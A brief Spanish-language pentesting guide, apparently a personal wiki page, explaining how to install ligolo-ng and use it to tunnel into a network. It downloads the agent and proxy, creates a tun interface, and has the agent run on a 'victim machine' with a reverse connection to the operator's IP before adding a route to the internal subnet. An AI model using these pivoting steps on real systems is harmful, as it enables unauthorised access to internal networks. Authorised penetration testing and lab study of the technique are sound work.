Instalación ligolo-ng
Ligolo es una herramienta que permite establecer un túnel desde una conexión TCP inversa utilizando una interfaz (tun) sin necesidad de utilizar SOCKS.
Instalación manual
cd /opt
mkdir ligolo
cd ligolo
Descargamos el agente
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
Y ahora el archivo proxy que necesitaremos para el túnel
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz
Ahora lo descomprimimos con tar
tar -xvf ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
tar -xvf ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz
Ahora vamos a crear una interfaz que necesitaremos antes de ejecutar el ligolo
sudo ip tuntap add user [nuestro usuario] mode tun ligolo
sudo ip link set ligolo up # levantamos la interfaz creada
Comandos básicos
./proxy -selfcert # abrimos el ligolo
Subimos seguidamente el agente de ligolo a la máquina victima y ejecutamos el siguiente comando
./agent -connect <nuestra IP>:11601 -ignore-cert
Entrando en la terminal podemos ver las sesiones activas con el comando session
Una vez dentro de la session hacemos ifconfig y la nueva network la añadimos en nuestra máquina con ip route
sudo ip route add 10.17.0.0/24 dev ligolo
Una vez hecho le damos a start
y el túnel se habrá completado.
Last updated